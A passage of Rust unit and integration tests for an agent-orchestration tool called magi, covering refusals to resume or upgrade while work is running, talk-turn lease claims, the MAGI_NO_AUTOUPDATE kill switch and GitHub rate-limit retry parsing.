22042    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22043        let fx = Fixture::start().await;
22044        let runs = fx.runs();
22045        let id = "20260901-000000-livemerge";
22046        write_run(&runs, id, RunStatus::Blocked);
22047
22048        let mut beat = crate::daemon::Status::new();
22049        beat.current = vec![crate::daemon::Current {
22050            worker: None,
22051            task: "20260901-000000-task".to_owned(),
22052            run: id.to_owned(),
22053        }];
22054        beat.updated_at = jiff::Timestamp::now();
22055        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22056            .expect("publish a heartbeat");
22057
22058        let res = fx
22059            .post(
22060                &format!("/api/runs/{id}/fold-merged"),
22061                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22062            )
22063            .await;
22064        assert_eq!(res.status, 409, "{}", res.body);
22065        assert!(
22066            res.json()["error"]
22067                .as_str()
22068                .unwrap()
22069                .contains("live daemon"),
22070            "correcting a run's merge underneath a running agent would race \
22071             whatever it is doing to the same `status`/`merge` fields"
22072        );
22073    }
22074
22075    /// A pull request `gh` cannot even ask about (no such remote, no such
22076    /// repository) must never be recorded as a merge on a guess - the same
22077    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
22078    /// command line, reached here through the phone route instead.
22079    #[tokio::test]
22080    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22081        let fx = Fixture::start().await;
22082        let runs = fx.runs();
22083        let id = "20260901-000000-unconfirmed";
22084        write_run(&runs, id, RunStatus::Blocked);
22085
22086        let res = fx
22087            .post(
22088                &format!("/api/runs/{id}/fold-merged"),
22089                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22090            )
22091            .await;
22092        assert_eq!(res.status, 400, "{}", res.body);
22093        assert_eq!(
22094            read_run(&runs, id).unwrap().status,
22095            RunStatus::Blocked,
22096            "a pull request that could not be confirmed merged must leave \
22097             the run exactly where it was"
22098        );
22099    }
22100
22101    #[tokio::test]
22102    async fn terminal_runs_cannot_be_resumed() {
22103        let fx = Fixture::start().await;
22104        let runs = fx.runs();
22105
22106        for (status, word) in [
22107            (RunStatus::Merged, "merged"),
22108            (RunStatus::Ready, "ready"),
22109            (RunStatus::Failed, "failed"),
22110        ] {
22111            let id = format!("20260901-000000-{}", &word[..4]);
22112            write_run(&runs, &id, status);
22113            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22114            assert_eq!(res.status, 409, "{word} must not be resumable");
22115        }
22116    }
22117
22118    #[tokio::test]
22119    async fn resume_is_refused_while_the_loop_is_running() {
22120        let fx = Fixture::start().await;
22121        let runs = fx.runs();
22122        let stalled = "20260901-000000-stal";
22123        write_run(&runs, stalled, RunStatus::Stalled);
22124
22125        // The loop is busy with a *different* run, and that is still a
22126        // refusal: a manual resume must never race whatever the loop itself
22127        // is already driving, whether that is one run or several.
22128        let mut beat = crate::daemon::Status::new();
22129        beat.current = vec![crate::daemon::Current {
22130            worker: None,
22131            task: "20260901-000000-task".to_owned(),
22132            run: "20260901-000000-othr".to_owned(),
22133        }];
22134        beat.updated_at = jiff::Timestamp::now();
22135        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22136            .expect("publish a heartbeat");
22137
22138        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22139        assert_eq!(res.status, 409);
22140        let err = res.json()["error"].as_str().unwrap().to_owned();
22141        assert!(err.contains("othr"), "it names what the loop is on: {err}");
22142        assert!(err.contains("stop it first"), "{err}");
22143    }
22144
22145    #[test]
22146    fn a_run_cannot_be_resumed_twice_at_once() {
22147        let home = TempDir::new().expect("temp home");
22148        let ui = Ui::new(
22149            Queue::at(home.path().join("queue")),
22150            Questions::at(home.path().join("questions")),
22151            Talks::at(home.path().join("talks")),
22152            home.path().join("runs"),
22153            home.path().to_path_buf(),
22154            PathBuf::from("/repo"),
22155        )
22156        .with_worktrees_root(home.path().join("wt"));
22157        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22158        let again = ui.begin_resume("20260901-000000-once");
22159        assert!(again.is_err(), "a second tap must not start a second graph");
22160        drop(first);
22161        assert!(
22162            ui.begin_resume("20260901-000000-once").is_ok(),
22163            "and the claim is released when the attempt ends"
22164        );
22165    }
22166
22167    #[test]
22168    fn talk_thinking_tracks_only_its_held_turn_claim() {
22169        let home = TempDir::new().expect("temp home");
22170        let ui = Ui::new(
22171            Queue::at(home.path().join("queue")),
22172            Questions::at(home.path().join("questions")),
22173            Talks::at(home.path().join("talks")),
22174            home.path().join("runs"),
22175            home.path().to_path_buf(),
22176            PathBuf::from("/repo"),
22177        )
22178        .with_worktrees_root(home.path().join("wt"));
22179        let id = "20260901-000000-once";
22180
22181        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22182        let turn = ui.begin_talk_turn(id).expect("claim turn");
22183        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22184        assert!(
22185            !ui.is_thinking("20260901-000000-other"),
22186            "one talk's turn does not make another talk busy"
22187        );
22188        drop(turn);
22189        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22190    }
22191
22192    #[test]
22193    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22194        let home = TempDir::new().expect("temp home");
22195        let talks = Talks::at(home.path().join("talks"));
22196        let ui = Ui::new(
22197            Queue::at(home.path().join("queue")),
22198            Questions::at(home.path().join("questions")),
22199            talks.clone(),
22200            home.path().join("runs"),
22201            home.path().to_path_buf(),
22202            PathBuf::from("/repo"),
22203        )
22204        .with_worktrees_root(home.path().join("wt"));
22205        let id = "20260901-000000-cross";
22206
22207        let other = Talks::at(home.path().join("talks"))
22208            .claim_turn(id)
22209            .expect("claim")
22210            .expect("the other process wins");
22211        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22212        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22213        assert!(
22214            matches!(
22215                ui.begin_talk_turn_unless_pending(id).expect("start"),
22216                TalkTurnStart::Foreign
22217            ),
22218            "a foreign holder is refused, not queued behind"
22219        );
22220        assert!(
22221            !ui.talk_turns.lock().unwrap().live.contains(id),
22222            "a refused claim leaves no in-process entry behind"
22223        );
22224        drop(other);
22225        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22226        assert!(talks.turn_held(id), "the web turn holds the lease");
22227        drop(turn);
22228        assert!(
22229            !talks.turn_held(id),
22230            "dropping the guard releases the lease"
22231        );
22232    }
22233
22234    fn consult_question(ui: &Ui) -> Question {
22235        let mut q = Question::new(
22236            "20260901-000000-consult".to_owned(),
22237            "implement".to_owned(),
22238            "impl-A".to_owned(),
22239            "Which backend?".to_owned(),
22240            String::new(),
22241            vec!["SQLite".to_owned(), "Redis".to_owned()],
22242        );
22243        ui.questions.put(&mut q).expect("question");
22244        q
22245    }
22246
22247    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22248        (
22249            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22250            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22251        )
22252    }
22253
22254    #[tokio::test]
22255    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22256        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22257        let q = consult_question(&ui);
22258        let talk = ui.talks.get(&id).expect("talk");
22259        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22260        let before = consult_snapshot(&ui, &q, &id);
22261        let cli_talks = Talks::at(ui.home.join("talks"));
22262        assert_eq!(
22263            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22264                .await
22265                .expect("CLI starter"),
22266            crate::consult::Started::Busy
22267        );
22268        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22269        assert!(ui.is_thinking(&id));
22270        drop(guard);
22271        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22272    }
22273
22274    #[tokio::test]
22275    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22276        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22277        let q = consult_question(&ui);
22278        let talk = ui.talks.get(&id).expect("talk");
22279        let started = tmp.path().join("started");
22280        let release = tmp.path().join("release");
22281        let script = tmp.path().join("consult-agent.sh");
22282        std::fs::write(
22283            &script,
22284            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22285        )
22286        .expect("script");
22287        let mut cfg = stub_config();
22288        cfg.agents[0].id = "mock".to_owned();
22289        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22290        cfg.agents[0].env = std::collections::BTreeMap::from([
22291            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22292            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22293        ]);
22294        let questions = ui.questions.clone();
22295        let cli_talks = Talks::at(ui.home.join("talks"));
22296        let cli_q = q.clone();
22297        let turn = tokio::spawn(async move {
22298            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22299        });
22300        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22301            while !started.exists() {
22302                tokio::time::sleep(Duration::from_millis(10)).await;
22303            }
22304        })
22305        .await;
22306        // Always release and join the agent, even if readiness or the web
22307        // request fails, so a failed assertion cannot leave a turn behind.
22308        let refusal = if ready.is_ok() {
22309            let before = consult_snapshot(&ui, &q, &id);
22310            let result = talk_say(
22311                State(Arc::clone(&ui)),
22312                Path(id.clone()),
22313                Ok(Json(NewTalkTurn {
22314                    reply_to: None,
22315                    text: "another message".to_owned(),
22316                    attachments: Vec::new(),
22317                })),
22318            )
22319            .await;
22320            Some((result, before, consult_snapshot(&ui, &q, &id)))
22321        } else {
22322            None
22323        };
22324        std::fs::write(&release, "").expect("release agent");
22325        let done = turn.await.expect("join CLI turn");
22326        ready.expect("agent started before deadline");
22327        let (result, before, after) = refusal.expect("web request");
22328        let error = result.expect_err("web must refuse the CLI's turn");
22329        assert_eq!(error.status, StatusCode::CONFLICT);
22330        assert!(error.message.contains("a turn is already running"));
22331        assert_eq!(
22332            after, before,
22333            "refusal preserves question, draft and history"
22334        );
22335        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22336        let guard = ui
22337            .begin_talk_turn(&id)
22338            .expect("web claim")
22339            .expect("free again");
22340        drop(guard);
22341    }
22342
22343    #[test]
22344    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22345        let home = TempDir::new().expect("temp home");
22346        let talks = Talks::at(home.path().join("talks"));
22347        let ui = Ui::new(
22348            Queue::at(home.path().join("queue")),
22349            Questions::at(home.path().join("questions")),
22350            talks.clone(),
22351            home.path().join("runs"),
22352            home.path().to_path_buf(),
22353            PathBuf::from("/repo"),
22354        )
22355        .with_worktrees_root(home.path().join("wt"));
22356        let id = "20260901-000000-order";
22357        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22358        // Hold the slot mutex so the drop can finish the lease but not the slot.
22359        let slots = ui.talk_turns.lock().unwrap();
22360        let dropper = std::thread::spawn(move || drop(turn));
22361        let start = std::time::Instant::now();
22362        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22363            std::thread::sleep(Duration::from_millis(5));
22364        }
22365        assert!(!talks.turn_held(id), "the lease is released first");
22366        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22367        drop(slots);
22368        dropper.join().expect("join");
22369        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22370    }
22371
22372    #[tokio::test]
22373    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22374        let fx = Fixture::start().await;
22375        let mut beat = crate::daemon::Status::new();
22376        beat.worker_protocol = None;
22377        beat.pid = 4321;
22378        beat.updated_at = jiff::Timestamp::now();
22379        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22380            .expect("publish a heartbeat");
22381
22382        let res = fx.post("/api/upgrade", None).await;
22383        assert_eq!(res.status, 409);
22384    }
22385
22386    /// [`should_spawn_recheck`] must refuse for the same two reasons
22387    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22388    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22389    /// Purely a predicate over config and the environment - no network, no
22390    /// disk, no runtime - so unlike the fixture-based tests around it this
22391    /// one needs neither.
22392    #[test]
22393    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22394        assert!(!should_spawn_recheck(&crate::config::Update {
22395            mode: UpdateMode::Off,
22396            interval: None,
22397            auto_restart: false,
22398        }));
22399
22400        // SAFETY: single-threaded as far as this variable goes, the same
22401        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22402        unsafe {
22403            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22404        }
22405        let killed = should_spawn_recheck(&crate::config::Update {
22406            mode: UpdateMode::Notify,
22407            interval: None,
22408            auto_restart: false,
22409        });
22410        unsafe {
22411            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22412        }
22413        assert!(
22414            !killed,
22415            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22416             one-time startup check"
22417        );
22418
22419        assert!(should_spawn_recheck(&crate::config::Update {
22420            mode: UpdateMode::Notify,
22421            interval: None,
22422            auto_restart: false,
22423        }));
22424    }
22425
22426    /// [`recheck_poll_period`] must track a configured `[update] interval`
22427    /// shorter than its own default ceiling - a fixed sleep here would leave
22428    /// an operator's short interval waiting on the next wake-up instead of on
22429    /// `should_check`, which is the same bug this whole task exists to fix,
22430    /// just one level down.
22431    #[test]
22432    fn recheck_poll_period_tracks_a_short_configured_interval() {
22433        let short = crate::config::Update {
22434            mode: UpdateMode::Notify,
22435            interval: Some("1m".to_owned()),
22436            auto_restart: false,
22437        };
22438        let period = recheck_poll_period(&short);
22439        assert!(
22440            period <= Duration::from_secs(30),
22441            "a one-minute interval must wake the task far sooner than the \
22442             default ceiling, or the deck would not notice within the \
22443             interval the operator configured: got {period:?}"
22444        );
22445
22446        let default = crate::config::Update {
22447            mode: UpdateMode::Notify,
22448            interval: None,
22449            auto_restart: false,
22450        };
22451        assert_eq!(
22452            recheck_poll_period(&default),
22453            UPDATE_RECHECK_POLL_MAX,
22454            "the default day-long interval should poll at the (capped) \
22455             ceiling rather than needlessly often"
22456        );
22457    }
22458
22459    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22460    /// same throttle `updater::Checker::should_check` already gives the
22461    /// CLI's notify mode. Built over an explicit state file via
22462    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22463    /// write the operator's real `last_update_check.json` - and therefore
22464    /// cannot flake on whatever that file happens to say on the machine
22465    /// running the test.
22466    #[test]
22467    fn recheck_skips_the_network_before_the_interval_elapses() {
22468        let dir = TempDir::new().expect("temp dir");
22469        let path = dir.path().join("state.json");
22470        let state = kaishin::UpdateCheckState {
22471            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22472            last_known_latest: None,
22473            last_known_url: None,
22474        };
22475        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22476
22477        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22478        assert!(
22479            !update_recheck_due(&checker, None),
22480            "a check made moments ago must not be repeated before the \
22481             configured interval elapses"
22482        );
22483    }
22484
22485    /// An upgrade this deck already started must not be raced by a recheck
22486    /// that discovers a newer release mid-install - regardless of what
22487    /// `should_check` says, which is why the state file here is missing
22488    /// entirely: read alone, that alone would answer "never checked, go
22489    /// ahead".
22490    #[test]
22491    fn recheck_defers_to_an_upgrade_already_in_flight() {
22492        let dir = TempDir::new().expect("temp dir");
22493        let path = dir.path().join("state.json");
22494        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22495        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22496
22497        assert!(
22498            !update_recheck_due(&checker, Some(&progress)),
22499            "a recheck must not run while an upgrade this deck started is \
22500             still moving"
22501        );
22502    }
22503
22504    #[tokio::test]
22505    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22506        // The same env var the background check honours (`disabled_by_env`)
22507        // must also stop a button press before it ever calls
22508        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22509        // means "never contact GitHub from this process", and a tap on the
22510        // upgrade button must not override that any more than a broken
22511        // `magi.toml` may. Left unset, this fixture's default config would
22512        // otherwise reach a real, unauthenticated GitHub call.
22513        //
22514        // SAFETY: single-threaded as far as this variable goes - nothing else
22515        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22516        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22517        unsafe {
22518            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22519        }
22520        let fx = Fixture::start().await;
22521        let res = fx.post("/api/upgrade", None).await;
22522        unsafe {
22523            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22524        }
22525        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22526        let body = res.json();
22527        assert!(body["to"].is_null(), "there was no release to move to");
22528        assert!(body["parked"].is_null(), "and nothing was parked");
22529        assert!(
22530            body["detail"]
22531                .as_str()
22532                .unwrap()
22533                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22534            "{body:?}"
22535        );
22536    }
22537
22538    #[test]
22539    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22540        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22541        let mut cfg = Update::default();
22542        assert!(matches!(
22543            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22544            Skip(_)
22545        ));
22546        cfg.auto_restart = true;
22547        assert_eq!(
22548            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22549            Trigger
22550        );
22551        assert_eq!(
22552            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22553            Wait
22554        );
22555        for (disabled, moving, failed) in [
22556            (true, false, None),
22557            (false, true, None),
22558            (false, false, Some("v2")),
22559        ] {
22560            assert!(matches!(
22561                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22562                Skip(_)
22563            ));
22564        }
22565        assert_eq!(
22566            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22567            Trigger
22568        );
22569        cfg.mode = UpdateMode::Off;
22570        assert!(matches!(
22571            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22572            Skip(_)
22573        ));
22574    }
22575
22576    #[test]
22577    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22578        let home = TempDir::new().unwrap();
22579        let ui = idle_ui(&home);
22580        assert!(!ui.auto_upgrade_busy());
22581        let directory = home.path().join("workers/jobs/abcdef");
22582        std::fs::create_dir_all(&directory).unwrap();
22583        let mut job = crate::worker::Job {
22584            id: "abcdef".into(),
22585            sequence: 1,
22586            kind: "scheduler".into(),
22587            key: "scheduler".into(),
22588            payload: serde_json::json!({}),
22589            generation: "test".into(),
22590            version: None,
22591            status: crate::worker::Status::Running,
22592            result: None,
22593            pid: None,
22594            created_at: 0,
22595            finished_at: None,
22596        };
22597        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22598        let write = |job: &crate::worker::Job| {
22599            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22600        };
22601        write(&job);
22602        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22603        for kind in ["task", "chat"] {
22604            job.kind = kind.into();
22605            write(&job);
22606            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22607        }
22608        drop(lease);
22609        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22610        // the descriptor. Check the real decision directly: a raw flock probe
22611        // here could itself be inherited and keep the worker looking busy.
22612        assert!(
22613            !ui.auto_upgrade_busy(),
22614            "completed execution permits updates"
22615        );
22616        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22617        assert!(
22618            ui.auto_upgrade_busy(),
22619            "unreadable worker state defers updates"
22620        );
22621    }
22622
22623    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22624        Box::pin(async { anyhow::bail!("test installer failed") })
22625    }
22626
22627    #[tokio::test]
22628    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22629        let home = TempDir::new().unwrap();
22630        std::fs::write(
22631            home.path().join("magi.toml"),
22632            "[update]\nauto_restart = true\n",
22633        )
22634        .unwrap();
22635        let mut ui = idle_ui(&home);
22636        ui.repo = home.path().to_path_buf();
22637        // Every successful trigger in this test uses this seam, never the installer.
22638        ui.upgrade_runner = fail_test_upgrade;
22639        let ui = Arc::new(ui);
22640        let latest = || {
22641            Some(kaishin::LatestRelease {
22642                tag_name: "v999.0.0".into(),
22643                html_url: String::new(),
22644            })
22645        };
22646        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22647        assert_eq!(
22648            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22649                .await
22650                .status(),
22651            StatusCode::NO_CONTENT
22652        );
22653        assert!(updater::read_progress(home.path()).is_none());
22654        ui.talk_turns.lock().unwrap().live.clear();
22655        let gate = ui.upgrade_gate.lock().await;
22656        assert_eq!(
22657            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22658                .await
22659                .status(),
22660            StatusCode::CONFLICT
22661        );
22662        drop(gate);
22663        assert_eq!(
22664            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22665                .await
22666                .status(),
22667            StatusCode::ACCEPTED
22668        );
22669        let progress = updater::read_progress(home.path()).unwrap();
22670        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22671        assert_eq!(progress.stage, updater::Stage::Downloading);
22672        assert!(progress.parked_run.is_none());
22673        assert!(ui.start_detached_loop().await.is_err());
22674        assert!(ui.start_loop(None).is_err());
22675        assert!(ui.begin_resume("late").is_err());
22676        tokio::time::timeout(Duration::from_secs(2), async {
22677            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22678                tokio::task::yield_now().await;
22679            }
22680        })
22681        .await
22682        .unwrap();
22683        let progress = updater::read_progress(home.path()).unwrap();
22684        assert_eq!(progress.stage, updater::Stage::Failed);
22685        assert_eq!(
22686            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22687                .await
22688                .status(),
22689            StatusCode::NO_CONTENT
22690        );
22691        // The manual shared path records the same progress and runs the same seam.
22692        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22693        assert_eq!(
22694            finish_upgrade_request(&ui, result).status(),
22695            StatusCode::ACCEPTED
22696        );
22697        assert_eq!(
22698            updater::read_progress(home.path()).unwrap().trigger,
22699            updater::UpgradeTrigger::Manual
22700        );
22701        tokio::time::timeout(Duration::from_secs(2), async {
22702            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22703                tokio::task::yield_now().await;
22704            }
22705        })
22706        .await
22707        .unwrap();
22708    }
22709
22710    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22711        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22712        p.stage = stage;
22713        p
22714    }
22715
22716    #[test]
22717    fn busy_stages_match_the_ui_set() {
22718        use crate::updater::Stage;
22719        assert!(APP_JS.contains(
22720            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22721        ));
22722        for s in [
22723            Stage::Downloading,
22724            Stage::Replaced,
22725            Stage::Parking,
22726            Stage::Restarting,
22727        ] {
22728            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22729        }
22730        for s in [Stage::Done, Stage::Failed] {
22731            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22732        }
22733        assert!(upgrade_in_motion(None).is_none());
22734    }
22735
22736    #[tokio::test]
22737    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22738        use crate::updater::Stage;
22739        for stage in [
22740            Stage::Downloading,
22741            Stage::Replaced,
22742            Stage::Parking,
22743            Stage::Restarting,
22744        ] {
22745            let fx = Fixture::start().await;
22746            let seeded = seeded_progress(stage);
22747            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22748            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22749                .expect("read");
22750
22751            let res = fx.post("/api/upgrade", None).await;
22752            assert_eq!(res.status, 409, "{stage:?}");
22753            let err = res.json()["error"].as_str().unwrap().to_owned();
22754            assert!(err.contains("already in progress"), "{err}");
22755            assert!(err.contains(stage.as_str()), "{err}");
22756
22757            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22758                .expect("read");
22759            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22760            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22761                .unwrap_or_default();
22762            assert!(!log.contains("signalling HANDOVER"), "{log}");
22763        }
22764    }
22765
22766    #[test]
22767    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22768        assert_eq!(
22769            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22770            Some(3723)
22771        );
22772        assert_eq!(
22773            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22774            Some(60)
22775        );
22776        assert_eq!(
22777            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22778            Some(0)
22779        );
22780        for message in [
22781            "permission denied",
22782            "GitHub API rate limit exceeded",
22783            "GitHub rate limit (resets in unknown)",
22784            "GitHub rate limit (resets in 18446744073709551615d)",
22785        ] {
22786            assert_eq!(upgrade_retry_after(message), None, "{message}");
22787        }
22788    }
22789
22790    #[tokio::test]
22791    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22792        let home = TempDir::new().unwrap();
22793        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22794        ui.start_loop(None).unwrap();
22795        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22796        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22797        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22798        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22799        let response = finish_upgrade_request(&ui, result);
22800        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22801        assert_eq!(response.headers()["retry-after"], "120");
22802        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22803            .await
22804            .unwrap();
22805        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22806        assert!(body["error"].as_str().unwrap().contains(reason));
22807        assert_eq!(body["retry_after_secs"], 120);
22808        assert!(body["retry_at"].as_u64().is_some());
22809        for _ in 0..2 {
22810            let view = health(State(ui.clone())).await.unwrap().0;
22811            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22812            assert_eq!(failure, body);
22813        }
22814        assert_eq!(
22815            std::fs::read(updater::progress_path(home.path())).unwrap(),
22816            before
22817        );
22818        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22819        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22820        // A conflicting request must not erase the actionable earlier failure.
22821        let gate = ui.upgrade_gate.lock().await;
22822        assert_eq!(
22823            upgrade_post(State(ui.clone())).await.status(),
22824            StatusCode::CONFLICT
22825        );
22826        drop(gate);
22827        assert!(
22828            health(State(ui.clone()))
22829                .await
22830                .unwrap()
22831                .0
22832                .upgrade_request_error
22833                .is_some()
22834        );
22835        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22836        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22837        assert!(
22838            health(State(ui.clone()))
22839                .await
22840                .unwrap()
22841                .0
22842                .upgrade_request_error
22843                .is_none()
22844        );
22845        let live = ui.lock_loop().live.take().unwrap();
22846        live.stop.stop();
22847        live.handle.await.unwrap();
22848    }
22849
22850    #[tokio::test]
22851    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22852        use crate::updater::Stage;
22853        let repo = TempDir::new().expect("repo dir");
22854        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22855            .expect("write magi.toml");
22856        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22857        for stage in [Stage::Done, Stage::Failed] {
22858            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22859            let res = fx.post("/api/upgrade", None).await;
22860            assert_eq!(res.status, 200, "{stage:?}");
22861        }
22862        // No record at all, and the gate was released by the earlier calls.
22863        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22864        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22865    }
22866
22867    #[tokio::test]
22868    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22869        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22870        // and the route answers from its own logic.
22871        //
22872        // This test used to lean on the fixture's placeholder repo failing
22873        // config discovery, which left `mode = "notify"` - and a live,
22874        // unauthenticated call to the GitHub releases API inside a unit test.
22875        // GitHub allows 60 of those an hour per address, so the suite went red
22876        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22877        // long as somebody kept re-running it: every attempt spent another
22878        // request. Six reruns across four pull requests were charged to that
22879        // before it was read as a rate limit rather than a flake.
22880        //
22881        // What the assertion is about is the "already current" branch, which
22882        // is reached by there being no newer release *or* nowhere to look. The
22883        // second one needs no network and cannot be rate limited.
22884        let repo = TempDir::new().expect("repo dir");
